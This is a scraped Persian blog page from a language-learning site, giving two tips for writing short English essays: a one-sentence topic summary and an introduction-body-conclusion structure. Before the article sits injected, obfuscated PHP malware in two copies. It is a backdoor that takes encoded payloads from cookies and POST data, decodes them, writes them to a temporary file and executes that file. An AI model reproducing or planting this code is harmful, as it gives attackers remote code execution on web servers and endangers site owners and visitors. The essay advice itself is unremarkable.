$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} 2 اصل مهم در نوشتن مقاله کوتاه انگلیسی | وبلاگ اتیچر
skip to Main Content

۲ اصل مهم در نوشتن مقاله کوتاه انگلیسی

زمان مطالعه: ۳ دقیقه

برای نگارش مقاله انگلیسی کوتاه چه نکاتی را باید رعایت کنیم؟

تجربه نشان می‌دهد زبان آموزان به سادگی و در مدت زمان کوتاهی می‌توانند مکالمه زبان انگلیسی را یاد بگیرند. با این حال، در مقایسه با مکالمه زبان انگلیسی، مهارت‌های نوشتاری این افراد بسیار ضعیف است و جای زیادی برای کار و تمرین در نگارش مقاله انگلیسی کوتاه دارد. به همین علت این افراد نمی‌توانند مقاله‌ انگلیسی کوتاه را به صورت منظم و قابل قبول بنویسند. یکی از مهم‌ترین مشکلات موجود در میان این افراد، عدم توانایی کافی برای نظم دادن به افکارشان است.

اُتیچر با استفاده از تجربیات استادان زبان خود به دو اصل مهم در نگارش مقاله انگلیسی کوتاه پی برده است. حال در این مقاله قصد داریم این تجربیات را با شما در میان بگذاریم.

اصل اول : توصیف خلاصه ای از موضوع مقاله 

باید تلاش کنید، موضوع اصلی مقاله یا داستان انگلیسی خود را در یک جمله خلاصه کنید. به‌عنوان مثال ” تابستان خود را چگونه گذرانده اید” این جمله به تنهایی می‌تواند به شما کمک کند تا بتوانید در مورد موضوع مقاله انگلیسی کوتاه خود افکارتان را متمرکز کنید و همچنین نقشه ی کلی از موضوعی که می‌خواهید راجع به آن مقاله انگلیسی بنویسید.

سعی کنید به جز موضوعات مرتبط با جمله ی نوشته شده، هیچ مطلب دیگری را وارد این بخش نکنید. در صورتی که قصد دارید درباره تعطیلات تابستانی خود مطلبی بنویسید، می‌توانید در مورد مسافرت خود به روستای مادربزرگتان اطلاعاتی را ارائه کنید. اما لازم نیست که وارد حاشیه شوید و به طور مثال در مورد حیوانات موجود در مزرعه و یا تعداد آن‌ها در این مقاله، مطلبی بیان کنید. چنین مطالبی می‌توانند باعث تغییر روند اصلی نوشته شما شوند.

 

اصل دوم : در نظر گرفتن سه بخش اصلی شروع، بدنه و پایان!

دومین اصل برای نوشتن مقاله انگلیسی کوتاه، به خاطر سپردن سه بخش اصلی در هر نوشته است. هر نوشته باید از سه قسمت عمده شروع، بدنه و پایان برخوردار باشد. برخی مواقع این بخش‌ها با نام‌های دیگری همانند Introduction، body و conclusion استفاده می‌شوند. می‌توانید هر یک از بخش‌های ذکر شده را در پاراگراف‌های متعددی تقسیم بندی نمایید و در نهایت، متن تولید شده توسط شما باید حداقل حاوی ۳ پاراگراف باشد.

قسمت معرفی مقاله می‌تواند شامل دو تا سه پاراگراف باشد. در این قسمت خواننده می‌تواند با مطالبی که قرار است در ادامه با آن مواجه شود، موضوعاتی را مطالعه نماید. جمله‌ای که می‌توان در قسمت معرفی مقاله با آن روبرو شد چیزی مشابه نمونه زیر است.

“I had many adventures during my summer vacation, and I met many people.”

دومین بخش شامل بدنه پاراگراف است. در این قسمت می‌توانید مطالب اصلی موجود در مقاله خود را در دسترس خواننده قرار دهید. در مقاله مورد نظر، شما می‌توانید در مورد ماجراهای پیش آمده و همچنین افرادی که در طول این سفر آن‌ها را ملاقات کرده‌اید، مطالبی را بنویسید. بدنه ی یک  مقاله‌ انگلیسی کوتاه، می‌تواند از پاراگراف‌های متعددی تشکیل شود.

در انتها، آخرین پاراگراف متن با عنوان پایان  یا conclusion قرار می‌گیرد. نیاز است تا در این قسمت، نویسنده تمامی مطالب ذکر شده را در ۲ یا ۳ جمله به صورت خلاصه بیان کند. در این بخش می‌توانید مجدداً به ماجراهایی که در طول این سفر داشته‌اید و همچنین افرادی را که ملاقات کرده‌اید، اشاره کنید.

با استفاده از این دو قانون که همان نوشتن جمله اصلی مقاله و همچنین رعایت بخش‌های مختلف موجود در آن است، می‌توان مقاله‌های انگلیسی خود را به درستی مرتب کرد و به افکار خود جهت داد و در نهایت خود را برای نوشتن مقاله‌های انگلیسی خوب و منظم آماده نمود.

همچنین مطالعه شود:

۵ مرحله نگارش ایمیل رسمی به زبان انگلیسی

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search